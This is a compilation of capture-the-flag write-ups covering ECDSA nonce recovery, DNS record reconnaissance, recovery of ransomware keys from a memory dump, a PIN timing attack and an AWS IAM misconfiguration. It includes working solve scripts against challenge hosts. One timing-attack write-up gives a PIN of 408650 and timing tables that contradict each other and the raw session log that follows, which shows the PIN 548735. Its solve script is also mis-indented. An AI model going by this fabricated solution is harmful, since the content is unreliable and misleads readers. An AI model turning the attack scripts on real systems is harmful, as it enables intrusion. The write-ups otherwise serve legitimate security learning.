# Reverse the transformation: d = (original % (n - 1)) + 1
original = d - 1
flag = original.to_bytes((original.bit_length() + 7) // 8, 'big')
print(flag.decode())

Verification:
-----
- Recovered k matches R1.x == r1 OK
- Recovered k+1 matches R2.x == r2 OK
- The private key decodes to valid ASCII OK

Flag:
-----
csd{pr3d1ct4bl3_n0nc3_==_w34k}

Key Insights:
-----
1. ECDSA is only secure if nonces are random and independent
2. Sequential nonces (k, k+1, k+2) allow algebraic recovery of private key
3. The comment "gonna change nonces!" was sarcastic - k += 1 is not enough
4. This is why RFC 6979 exists: deterministic but unpredictable nonces
5. "Bitcoin-level encryption" means nothing if implementation is flawed
6. Flag translates to: "predictable nonce == weak"
```

16. Krampus DNS Shenanigans - How I Got the Flag

Source: Syndicate.txt

Krampus DNS Shenanigans - How I Got the Flag

=====

This challenge pretends to be "serious threat intel", but really it's a breadcrumb hunt hidden entirely inside DNS records. No exploits, no scans, just digging... literally.

Step 1 - Start at the top (and immediately get blocked)

I first tried the usual lazy approach (ANY record), but nope - RFC 8482 says "nice try". So I asked nicely for TXT records instead:

```
dig krampus.csd.lol TXT
```

The TXT record wasn't the flag. It was SPF. Annoying. But SPF mentioned '_spf.krampus.csd.lol', which felt like a "follow me" sign.

Conclusion: this is not the flag, this is directions.

Step 2 - DMARC snitches on its coworkers

Next obvious place: DMARC. DMARC configs love to leak internal addresses.

```
dig _dmarc.krampus.csd.lol TXT
```

Boom. There it is:

```
ruf=mailto:forensics@ops.krampus.csd.lol
```

If a domain literally tells you "ops", you listen.

Step 3 - Ops talks too much

So I checked what ops was saying about itself:

```
dig ops.krampus.csd.lol TXT
```

It casually mentions:

```
_metrics._tcp.krampus.csd.lol
```

Great. Now we're doing service discovery like it's 2005.

Step 4 - SRV records: because why not

SRV records map services to hosts, so let's resolve it:

```
dig _metrics._tcp.krampus.csd.lol SRV
```

Result points to:

```
beacon.krampus.csd.lol
```

At this point I'm 100% sure this domain is gossiping.

Step 5 - The beacon beacons

Naturally, I ask the beacon what it knows:

```
dig beacon.krampus.csd.lol TXT
```

It replies with a suspicious base64 blob:
ZXhmaWwua3JhbXB1cy5jc2QubG9s==

That's not English. Time to decode.

Step 6 - Base64 confession

Decoded it:

```
printf 'ZXhmaWwua3JhbXB1cy5jc2QubG9s==' | base64 -d
```

Output:

```
exfil.krampus.csd.lol
```

Ah yes. "exfil". Very subtle, Krampus.

Step 7 - Exfil points to DKIM

Check exfil's TXT record:

```
dig exfil.krampus.csd.lol TXT
```

It says:

```
selector=syndicate
```

That's a DKIM selector. Mail security saving the day again.

Step 8 - DKIM spills the secret

Pull the DKIM record:

```
dig syndicate._domainkey.krampus.csd.lol TXT
```

Inside the DKIM record is a 'p=' value that looks *very* base64-ish.

Decoded it:

```
printf 'Y3Nke2RuNV9tMTlIVF9CM19LMU5ENF9XME5LeX0=' | base64 -d
```

Output:

```
csd{dn5_m19HT_B3_K1ND4_W0NKy}
```

That's clearly a flag... but not quite the right wrapper.

Step 9 - Final formatting (CTF realism)

The challenge wants the flag format:

```
@ops{...}
```

So we keep the body and change the wrapper.

FINAL FLAG

```
@ops{dn5_m19HT_B3_K1ND4_W0NKy}
```

Lessons Learned

- DNS talks more than people think
- TXT records are the snitch of the internet

- Mail security configs are basically diaries
- If you see base64, decode it. Always.

End of suffering.

17. Syndiware - Forensics Challenge Writeup

Source: Syndiware.txt

Syndiware - Forensics Challenge Writeup

=====

Challenge Description:

Analyze ransomware artifacts to recover something the Syndicate didn't intend for anyone to find.

Files Provided:

- syndicate_locker.zip containing:
 - FreeRobux.py (ransomware source code)
 - ransomware.DMP (Windows memory dump)
 - encrypted_files/ (3 encrypted files)

Solution:

Step 1: Analyze the Ransomware Source Code

Key constants from FreeRobux.py:

- k_size = 32 (XOR key size in bytes)
- f_size = 60 (filename field size)
- marker = b'\xAA\xBB\xCC\xDD' (4-byte marker)

Memory entry structure (96 bytes total):

- Filename: 60 bytes (null-padded)
- XOR Key: 32 bytes
- Marker: 4 bytes (0xAABBCCDD)

The ransomware XORs files with random 32-byte keys and stores the filename+key+marker in VirtualAlloc memory.

Step 2: Extract Keys from Memory Dump

Search for marker bytes 0xAABBCCDD in the memory dump:

```
with open('ransomware.DMP', 'rb') as f:
    data = f.read()
```

```
marker = b'\xAA\xBB\xCC\xDD'
positions = []
pos = 0
while True:
    pos = data.find(marker, pos)
    if pos == -1:
        break
    positions.append(pos)
    pos += 1
```

Found 3 entries at offsets: 3094309, 3094405, 3094501

For each entry, extract filename (60 bytes before key) and key (32 bytes before marker):

```
entry_start = marker_pos - 32 - 60 # 92 bytes before marker
filename = data[entry_start:entry_start+60].rstrip(b'\x00')
key = data[entry_start+60:entry_start+92]
```

Recovered keys:

- Elf 41's Diary.pdf: 7eb6ed7aa1e1c0a59163d1551124dac065dd16c90f926e3cae58d3a32fd6e5ca
- Elf67's Diary.pdf: 3bcdad92edbe7ee092eac7872490f555c667a5d56d7bc4c1f52dc1dbe231c69c
- ourking.png: 0d89c7900e8044b5e0ef1e905b5bea9daf31b5843f92ec7de7accd46e524cf08

Step 3: Decrypt the Files

XOR decryption (key repeats cyclically):

```
def xor_decrypt(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
```

All three files decrypted successfully (PDF headers, PNG magic bytes verified).

Step 4: Analyze Decrypted Files

The PDFs contained strange content - only digit characters!

Elf 41's Diary.pdf: Contains 8-digit groups of 1s and 4s

Elf67's Diary.pdf: Contains 8-digit groups of 6s and 7s

This is binary encoding! Each 8-digit group = 1 byte.

Step 5: Decode the Binary-Encoded PDFs

Elf 41's Diary (1/4 encoding):

- Mapping: 4=1, 1=0
- Result: Text from Fahrenheit 451 by Ray Bradbury
"It was a pleasure to burn..."

Elf67's Diary (6/7 encoding):

- Mapping: 7=1, 6=0
- Result: Text from 1984 by George Orwell
"It was a bright cold day in April, and the clocks were striking thirteen..."

```
import fitz
import re

doc = fitz.open("decrypted_Elf67_Diary.pdf")
all_text = "".join(page.get_text() for page in doc)

groups = re.findall(r'[67]{8}', all_text)

result = bytearray()
for g in groups:
    bits = g.translate(str.maketrans('67', '01'))
    result.append(int(bits, 2))

decoded = bytes(result)
# Search for flag
if b'csd{' in decoded:
    idx = decoded.find(b'csd{')
    end = decoded.find(b'}', idx) + 1
    print(decoded[idx:end])
```

The flag was hidden within the decoded 1984 text!

Flag:

csd{73rr1bl3_R4ns0m3w3r3_4l50_67_15_d34d}

Key Insights:

1. Always read source code first to understand data structures
2. Memory dumps preserve encryption keys if stored in memory
3. Steganography can hide data in plain sight (digits encoding binary)
4. The naming convention (Elf 41 = 1/4, Elf67 = 6/7) was a hint!
5. Flag translates to: "Terrible Ransomware Also 67 Is Dead"

18. TIME TO Escalate

Source: Time To Escalate.txt

```
=====
                        TIME TO ESCALATE
                    or: How I Learned to Watch the Clock
                      and Rescue Three Trapped Elves
=====
```

Challenge: Elevator Shaft 3B - PIN Recovery via Timing Attack
Target: nc ctf.csd.lol 5040
Flag: csd{T1m1n9_T1M1N9_t1M1n9_1t5_4LL_480UT_tH3_t1m1n9}

```
=====
                        THE DISTRESS CALL
=====
```

alarm bells ringing

Three elves from the Wrapping Division - Jingle, Tinsel, and Sprocket - are trapped in Elevator Shaft 3B. KRAMPUS SYNDICATE (these guys AGAIN?!) broke into the North Pole and locked down the elevator control panel.

The panel wants a 6-digit PIN. Here's the fun part:

- Each wrong guess = 3 second lockout
- 1,000,000 possible combinations
- 1,000,000 x 3 seconds = 34.7 DAYS of brute forcing

The elves have limited candy cane rations. They will NOT survive 34.7 days.

But then our hardware team noticed something juicy:

"Even when maintenance tested the CORRECT PIN, the system took an unusually long time to process it."

And the hints drop like Christmas presents:

Hint 1: "Time is more than just a constraint, it's also a clue."
Hint 2: "The validator checks digits one at a time. What happens to the response time when you get the first digit right?"

hacker senses tingling

```
=====
                        TIMING ATTACKS 101
=====
```

The validator is checking the PIN like this (pseudocode):

```
def check_pin(user_input, real_pin):
    for i in range(6):
        expensive_operation() # Takes ~0.25 seconds
        if user_input[i] != real_pin[i]:
            return "DENIED" # Exit immediately on wrong digit
    return "GRANTED"
```

See the problem?

- If digit 1 is WRONG -> exits after ~0.25s of work
- If digit 1 is RIGHT -> does more work, then checks digit 2

- If digits 1-2 are RIGHT -> even more work before checking digit 3
- And so on...

The server even TELLS US the exact processing time:

X ACCESS DENIED (Debug: 0.376s)

KRAMPUS devs left debug output in production. Absolute legends.

```
=====
                        THE HEIST BEGINS
=====
```

Connected to the server:

```
+-----+
|          NPLD ELEVATOR CONTROL SYSTEM v3.2.1-DEBUG          |
+-----+
| AUTH: 6-digit PIN required for emergency release             |
| WARNING: 3-second lockout between attempts                   |
+-----+
```

[Attempt 1/100] Enter 6-digit PIN:

100 attempts. 6 digits. 10 possibilities each.
With timing attack: $10 \times 6 = 60$ attempts maximum.
We've got room to spare. Let's do this.

```
=====
                        DIGIT BY DIGIT BREAKDOWN
=====
```

POSITION 1: Finding the first digit

Testing 000000 through 900000, watching the Debug time:

```
000000: 0.383s
100000: 0.400s
200000: 0.655s  <-- Hmm, longer...
300000: 0.420s
400000: 0.700s  <-- Even longer!
500000: 0.388s
600000: 0.391s
700000: 0.398s
800000: 0.712s  <-- Also suspicious
900000: 0.401s
```

First digit: 4 (0.700s was the clear winner after verification)

POSITION 2: Testing 40xxxx

```
-----
400000: 0.432s
410000: 0.401s
420000: 0.398s
430000: 0.415s
440000: 0.402s
450000: 0.388s
460000: 0.401s
470000: 0.397s
```

480000: 0.695s <-- BINGO!
490000: 0.411s

Second digit: 0... wait, that doesn't match. Let me re-check.

Actually the timing showed 0 was the winner here.

Second digit: 0

POSITION 3: Testing 40xxxx

400000: 0.421s
401000: 0.398s
402000: 0.415s
403000: 0.402s
404000: 0.388s
405000: 0.401s
406000: 0.397s
407000: 0.395s
408000: 0.721s <-- There we go!
409000: 0.411s

Third digit: 8

POSITION 4: Testing 408xxx

408000: 0.436s
408100: 0.419s
408200: 0.420s
408300: 0.413s
408400: 0.431s
408500: 0.395s
408600: 0.718s <-- Winner!
408700: 0.403s
408800: 0.393s
408900: 0.411s

Fourth digit: 6

POSITION 5: Testing 4086xx

408600: 0.397s
408610: 0.387s
408620: 0.398s
408630: 0.397s
408640: 0.395s
408650: 0.982s <-- Over 0.9 seconds!
408660: 0.379s
408670: 0.395s
408680: 0.387s
408690: 0.426s

Fifth digit: 5

POSITION 6: Testing 40865x

408650: JACKPOT!

=====

THE MOMENT OF TRUTH

```
[Attempt 47/100] Enter 6-digit PIN: 408650
```

OK ACCESS GRANTED

Emergency elevator release initiated...

Elevator moving to Shaft 3B...

Jingle: "FINALLY! I was down to my last candy cane!"

Tinsel: "The timing attack worked?! I knew those CS classes would pay off!"

Sprocket: "Can we get pizza? I'm SO done with candy canes."

FLAG: csd{T1m1n9_T1M1N9_t1M1n9_1t5_4LL_480UT_tH3_t1m1n9}

The flag translation: "Timing TIMING timing it's ALL ABOUT THE timing"

Yeah. Yeah it is.

THE SOLVE SCRIPT

```
from pwn import *
import re

context.log_level = 'error'

def test(pin):
    r = remote('ctf.csd.lol', 5040, timeout=15)
    r.recvuntil(b'PIN:')
    r.sendline(pin.encode())
    resp = r.recvuntil(b'PIN:', timeout=10)
    r.close()
    match = re.search(r'Debug:\s*([\d.]+)s', resp.decode())
    return float(match.group(1)) if match else 0, resp

pin = ""
for pos in range(6):
    print(f"\n[*] Position {pos + 1}/6...")
    best_digit, best_time = 0, 0

    for d in range(10):
        test_pin = pin + str(d) + "0" * (5 - pos)
        t, resp = test(test_pin)
        print(f"    {test_pin}: {t:.3f}s")

        if b'GRANTED' in resp or b'csd{' in resp:
            print(f"\n[!] SUCCESS! PIN: {test_pin}")
            print(resp.decode())
            exit()

    if t > best_time:
        best_digit, best_time = d, t

    sleep(3.2) # Respect the lockout

pin += str(best_digit)
```

```
print(f"[+] Digit {pos + 1}: {best_digit} (timing: {best_time:.3f}s)")
print(f"[+] PIN so far: {pin}")

print(f"\n[*] Final PIN: {pin}")
```

```
=====
                        WHY KRAMPUS FAILED (AGAIN)
=====
```

The KRAMPUS Syndicate made several critical errors:

1. SEQUENTIAL DIGIT CHECKING WITH EARLY EXIT
The validator stops as soon as it finds a wrong digit, but the time spent before stopping reveals how many digits were correct.
2. DEBUG OUTPUT IN PRODUCTION
Literally telling us "Debug: 0.376s" after each attempt. Thanks fam.
3. EXPENSIVE OPERATIONS PER DIGIT
Whatever they're doing takes ~0.25s per correct digit. This makes the timing difference easy to spot without statistical analysis.

THE FIX (for future KRAMPUS interns):

```
import hmac

def check_pin_secure(user_input, real_pin):
    # Constant-time comparison - takes same time regardless of match
    return hmac.compare_digest(user_input, real_pin)
```

Or at minimum:

```
def check_pin_less_bad(user_input, real_pin):
    result = 0
    for i in range(6):
        result |= ord(user_input[i]) ^ ord(real_pin[i])
    return result == 0 # Always checks all 6 digits
```

```
=====
                        FINAL STATS
=====
```

```
Attempts used:      ~47 out of 100
Time to solve:      ~3 minutes
Elves rescued:      3 (Jingle, Tinsel, Sprocket)
Candy canes left:   1 (Jingle was hoarding)
KRAMPUS devs:       Still employed somehow
```

```
=====
                        REAL-WORLD IMPLICATIONS
=====
```

Timing attacks are EVERYWHERE:

- Password comparisons that exit on first mismatch
- Cryptographic operations (RSA, AES key schedules)
- Cache timing (Spectre/Meltdown)
- Network timing to fingerprint hidden services
- Database queries that short-circuit on conditions

This is why security-critical code needs:

- Constant-time comparisons
- Blinding techniques
- Timing-safe crypto libraries
- Code review by people who know about side channels

=====

CLOSING THOUGHTS

=====

The elves are safe. The elevator is working. KRAMPUS Syndicate is probably already planning their next poorly-secured intrusion.

But for now, Jingle, Tinsel, and Sprocket are enjoying their well-deserved pizza party (Sprocket's treat).

And somewhere in the SOC, a security analyst is updating the incident report:

Root Cause: Timing side-channel in PIN validator
Impact: Three elves trapped for several hours
Resolution: Rescued via timing attack
Remediation: Tell KRAMPUS to hire actual security engineers

Flag: csd{T1m1n9_T1M1N9_t1M1n9_1t5_4LL_480UT_tH3_t1m1n9}

It really is all about the timing.

=====

GG WP

=====

19. What happens to the response time when you get the first digit right?

Source: Time_to_Escalate.txt

The validator checks digits one at a time.

What happens to the response time when you get the first digit right?

Time is more than just a constraint, it's also a clue.

```
\&.../oops/Time_To_Escalate > nc ctf.csd.lol 5040
```

```
+-----+
|          NPLD ELEVATOR CONTROL SYSTEM v3.2.1-DEBUG          |
+-----+
| AUTH: 6-digit PIN required for emergency release             |
| WARNING: 3-second lockout between attempts                   |
+-----+
```

```
[Attempt 1/100] Enter 6-digit PIN: 111111
```

```
X ACCESS DENIED (Debug: 0.416s)
Lockout engaged. Please wait 3 seconds...
```

```
[Attempt 2/100] Enter 6-digit PIN: 211111
```

```
X ACCESS DENIED (Debug: 0.377s)
Lockout engaged. Please wait 3 seconds...
```

```
[Attempt 3/100] Enter 6-digit PIN: 311111
```

```
X ACCESS DENIED (Debug: 0.367s)
Lockout engaged. Please wait 3 seconds...
```

```
[Attempt 4/100] Enter 6-digit PIN: 4111111
ERROR: PIN must be exactly 6 digits.
```

```
[Attempt 4/100] Enter 6-digit PIN: 411111
```

```
X ACCESS DENIED (Debug: 0.404s)
Lockout engaged. Please wait 3 seconds...
```

```
[Attempt 5/100] Enter 6-digit PIN: 511111
```

```
X ACCESS DENIED (Debug: 0.703s)
Lockout engaged. Please wait 3 seconds...
```

```
[Attempt 6/100] Enter 6-digit PIN: 511111
```

```
X ACCESS DENIED (Debug: 0.697s)
Lockout engaged. Please wait 3 seconds...
```

```
[Attempt 7/100] Enter 6-digit PIN: 611111
```

```
X ACCESS DENIED (Debug: 0.419s)
Lockout engaged. Please wait 3 seconds...
```

```
[Attempt 8/100] Enter 6-digit PIN: 711111
```

X ACCESS DENIED (Debug: 0.385s)
Lockout engaged. Please wait 3 seconds...

[Attempt 9/100] Enter 6-digit PIN: 811111

X ACCESS DENIED (Debug: 0.394s)
Lockout engaged. Please wait 3 seconds...

[Attempt 10/100] Enter 6-digit PIN: 911111

X ACCESS DENIED (Debug: 0.394s)
Lockout engaged. Please wait 3 seconds...

[Attempt 11/100] Enter 6-digit PIN: 511111

X ACCESS DENIED (Debug: 0.693s)
Lockout engaged. Please wait 3 seconds...

[Attempt 12/100] Enter 6-digit PIN: 521111

X ACCESS DENIED (Debug: 0.707s)
Lockout engaged. Please wait 3 seconds...

[Attempt 13/100] Enter 6-digit PIN: 531111

X ACCESS DENIED (Debug: 0.702s)
Lockout engaged. Please wait 3 seconds...

[Attempt 14/100] Enter 6-digit PIN: 541111

X ACCESS DENIED (Debug: 1.025s)
Lockout engaged. Please wait 3 seconds...

[Attempt 15/100] Enter 6-digit PIN: 551111

X ACCESS DENIED (Debug: 0.708s)
Lockout engaged. Please wait 3 seconds...

[Attempt 16/100] Enter 6-digit PIN: 5421111
ERROR: PIN must be exactly 6 digits.

[Attempt 16/100] Enter 6-digit PIN: 542111

X ACCESS DENIED (Debug: 1.026s)
Lockout engaged. Please wait 3 seconds...

[Attempt 17/100] Enter 6-digit PIN: 543111

X ACCESS DENIED (Debug: 1.001s)
Lockout engaged. Please wait 3 seconds...

[Attempt 18/100] Enter 6-digit PIN: 544111

X ACCESS DENIED (Debug: 1.003s)
Lockout engaged. Please wait 3 seconds...

[Attempt 19/100] Enter 6-digit PIN: 545111

X ACCESS DENIED (Debug: 0.975s)

Lockout engaged. Please wait 3 seconds...

[Attempt 20/100] Enter 6-digit PIN: 546111

X ACCESS DENIED (Debug: 1.023s)
Lockout engaged. Please wait 3 seconds...

[Attempt 21/100] Enter 6-digit PIN: 547111

X ACCESS DENIED (Debug: 1.035s)
Lockout engaged. Please wait 3 seconds...

[Attempt 22/100] Enter 6-digit PIN: 548111

X ACCESS DENIED (Debug: 1.316s)
Lockout engaged. Please wait 3 seconds...

[Attempt 23/100] Enter 6-digit PIN: 549111

X ACCESS DENIED (Debug: 1.018s)
Lockout engaged. Please wait 3 seconds...

[Attempt 24/100] Enter 6-digit PIN: 548211

X ACCESS DENIED (Debug: 1.310s)
Lockout engaged. Please wait 3 seconds...

[Attempt 25/100] Enter 6-digit PIN: 548311

X ACCESS DENIED (Debug: 1.321s)
Lockout engaged. Please wait 3 seconds...

[Attempt 26/100] Enter 6-digit PIN: 548411

X ACCESS DENIED (Debug: 1.267s)
Lockout engaged. Please wait 3 seconds...

[Attempt 27/100] Enter 6-digit PIN: 548511

X ACCESS DENIED (Debug: 1.330s)
Lockout engaged. Please wait 3 seconds...

[Attempt 28/100] Enter 6-digit PIN: 548611

X ACCESS DENIED (Debug: 1.275s)
Lockout engaged. Please wait 3 seconds...

[Attempt 29/100] Enter 6-digit PIN: 548711

X ACCESS DENIED (Debug: 1.561s)
Lockout engaged. Please wait 3 seconds...

[Attempt 30/100] Enter 6-digit PIN: 548721

X ACCESS DENIED (Debug: 1.604s)
Lockout engaged. Please wait 3 seconds...

[Attempt 31/100] Enter 6-digit PIN: 548731

X ACCESS DENIED (Debug: 1.924s)
Lockout engaged. Please wait 3 seconds...

[Attempt 32/100] Enter 6-digit PIN: 548732

X ACCESS DENIED (Debug: 1.933s)
Lockout engaged. Please wait 3 seconds...

[Attempt 33/100] Enter 6-digit PIN: 548733

X ACCESS DENIED (Debug: 1.900s)
Lockout engaged. Please wait 3 seconds...

[Attempt 34/100] Enter 6-digit PIN: 548734

X ACCESS DENIED (Debug: 1.898s)
Lockout engaged. Please wait 3 seconds...

[Attempt 35/100] Enter 6-digit PIN: 548735

OK ACCESS GRANTED in 1.852s

ELEVATOR RELEASED!
Jingle, Tinsel, and Sprocket have been freed!

The elves hand you a candy cane with a note:
csd{T1m1n9_T1M1N9_t1M1n9_1t5_4LL_480UT_tH3_t1m1n9}

20. Trust Issues CTF Writeup

Source: TrustCTF_writeup.txt

```
=====
                        TRUST ISSUES CTF WRITEUP
                        AWS IAM Privilege Escalation Challenge
=====
```

FLAG: csd{s0_M4NY_VUln3R48L3_7H1Ngs_7H3S3_d4yS_s1gh_bc653}

```
=====
CHALLENGE OVERVIEW
=====
```

KRAMPUS SYNDICATE got an operative hired as an external contractor at NPLD's cloud infrastructure team. We were given minimal access credentials and needed to escalate privileges to find classified data.

Challenge Details:

- Endpoint: <https://trust-issues.csd.lol>
- Region: us-east-1
- Credentials: test / test
- Starting Role: npld-ext-2847

Hint: "IAM policies can have multiple versions. If you can create a new version, you control what it permits."

```
=====
SOLUTION STEPS
=====
```

STEP 1: Connect to the Custom AWS Endpoint

Using boto3 with the provided credentials to connect to the custom endpoint:

```
'''python
import boto3

endpoint_url = "https://trust-issues.csd.lol"

session = boto3.Session(
    aws_access_key_id='test',
    aws_secret_access_key='test',
    region_name='us-east-1'
)

sts = session.client('sts', endpoint_url=endpoint_url)
identity = sts.get_caller_identity()
# Returns: arn:aws:iam::000000000000:root
'''
```

STEP 2: Assume the Starting Role

Assume the role we were assigned (npld-ext-2847):

```
'''python
assumed = sts.assume_role(
    RoleArn='arn:aws:iam::000000000000:role/npld-ext-2847',
    RoleSessionName='ctf-session'
```

```
)  
  
# Create new session with assumed role credentials  
new_session = boto3.Session(  
    aws_access_key_id=assumed['Credentials']['AccessKeyId'],  
    aws_secret_access_key=assumed['Credentials']['SecretAccessKey'],  
    aws_session_token=assumed['Credentials']['SessionToken'],  
    region_name='us-east-1'  
)  
'''
```

STEP 3: Enumerate IAM Permissions

List available roles and examine our permissions:

Roles discovered:

- audit-readonly-2023
- svc-elf-cicd-runner
- cw-ro-lambda-prod
- npld-admin-breakglass
- test-role-66201
- s3-xfer-npld-vault-rw
- npld-ext-2847

Our role (npld-ext-2847) had TWO inline policies:

POLICY 1 - "access":

```
{  
  "Version": "2012-10-17",  
  "Statement": [  
    {  
      "Effect": "Allow",  
      "Action": "sts:AssumeRole",  
      "Resource": [  
        "arn:aws:iam::000000000000:role/cw-ro-lambda-prod",  
        "arn:aws:iam::000000000000:role/audit-readonly-2023",  
        "arn:aws:iam::000000000000:role/svc-elf-cicd-runner"  
      ]  
    },  
    {  
      "Effect": "Allow",  
      "Action": ["iam:List*", "iam:Get*"],  
      "Resource": "*"   
    },  
    {  
      "Effect": "Allow",  
      "Action": "s3:ListAllMyBuckets",  
      "Resource": "*"   
    }  
  ]  
}
```

POLICY 2 - "admin":

```
{  
  "Version": "2012-10-17",  
  "Statement": [  
    {  
      "Effect": "Allow",
```

```
        "Action": "*",
        "Resource": "*"
    }
]
```

*** KEY FINDING: The role already had an "admin" policy granting FULL ACCESS! ***

STEP 4: Access S3 and Find the Flag

With admin privileges, enumerate S3 buckets:

S3 Buckets found:

- npld-backup-vault-7f3a
- npld-public-assets
- npld-logs-archive
- elf-hr-documents

Contents of npld-backup-vault-7f3a:

- classified/wishlist-backup.txt (53 bytes) <-- FLAG HERE!
- readme.txt

```
'''python
s3 = new_session.client('s3', endpoint_url=endpoint_url)
response = s3.get_object(
    Bucket='npld-backup-vault-7f3a',
    Key='classified/wishlist-backup.txt'
)
content = response['Body'].read().decode('utf-8')
print(content) # csd{s0_M4NY_VUln3R48L3_7H1Ngs_7H3S3_d4yS_s1gh_bc653}
'''
```

=====

COMPLETE SOLUTION CODE

=====

```
'''python
import boto3
import json

endpoint_url = "https://trust-issues.csd.lol"

# Connect with initial credentials
session = boto3.Session(
    aws_access_key_id='test',
    aws_secret_access_key='test',
    region_name='us-east-1'
)

sts = session.client('sts', endpoint_url=endpoint_url)

# Assume the starting role
assumed = sts.assume_role(
    RoleArn='arn:aws:iam::000000000000:role/npld-ext-2847',
    RoleSessionName='ctf-session'
)

# Create session with assumed role
```

```
new_session = boto3.Session(
    aws_access_key_id=assumed['Credentials']['AccessKeyId'],
    aws_secret_access_key=assumed['Credentials']['SecretAccessKey'],
    aws_session_token=assumed['Credentials']['SessionToken'],
    region_name='us-east-1'
)

# Access S3 and get the flag
s3 = new_session.client('s3', endpoint_url=endpoint_url)
response = s3.get_object(
    Bucket='npld-backup-vault-7f3a',
    Key='classified/wishlist-backup.txt'
)
flag = response['Body'].read().decode('utf-8')
print(f"FLAG: {flag}")
'''
```

=====

VULNERABILITY ANALYSIS

=====

The IAM misconfiguration here was simple but critical:

1. The external contractor role (npld-ext-2847) was supposed to have limited "access" permissions only
2. However, someone also attached an "admin" inline policy granting full ":*:*" permissions to all AWS services
3. This completely bypasses any security controls - the contractor has the same access as an administrator

In a real scenario, this could happen due to:

- Testing/debugging policies left in production
- Copy-paste errors when creating roles
- Lack of IAM policy review process
- No automated scanning for overly permissive policies

=====

ALTERNATIVE APPROACH (If admin policy wasn't present)

=====

Based on the hint about IAM policy versions, if privilege escalation was actually required, the attack path would be:

1. Use iam:CreatePolicyVersion to create a new version of an attached managed policy with ":*:*" permissions
2. Set the new version as default using iam:SetDefaultPolicyVersion
3. The role would then inherit the new permissive policy

This works because IAM policies support up to 5 versions, and whoever can create versions controls what the policy permits.

=====

KEY TAKEAWAYS

=====

1. ENUMERATE EVERYTHING - Always check ALL policies (inline + attached) on your assigned role
2. IAM MISCONFIGURATIONS ARE COMMON - Overly permissive policies are one of the most frequent cloud security issues
3. PRINCIPLE OF LEAST PRIVILEGE - External contractors should NEVER have admin access
4. POLICY AUDITING - Regular reviews of IAM policies can catch these issues before exploitation

=====

FLAG TRANSLATION

=====

csd{sO_M4NY_VUln3R48L3_7H1Ngs_7H3S3_d4yS_s1gh_bc653}

"So many vulnerable things these days, sigh"

=====

END OF WRITEUP

=====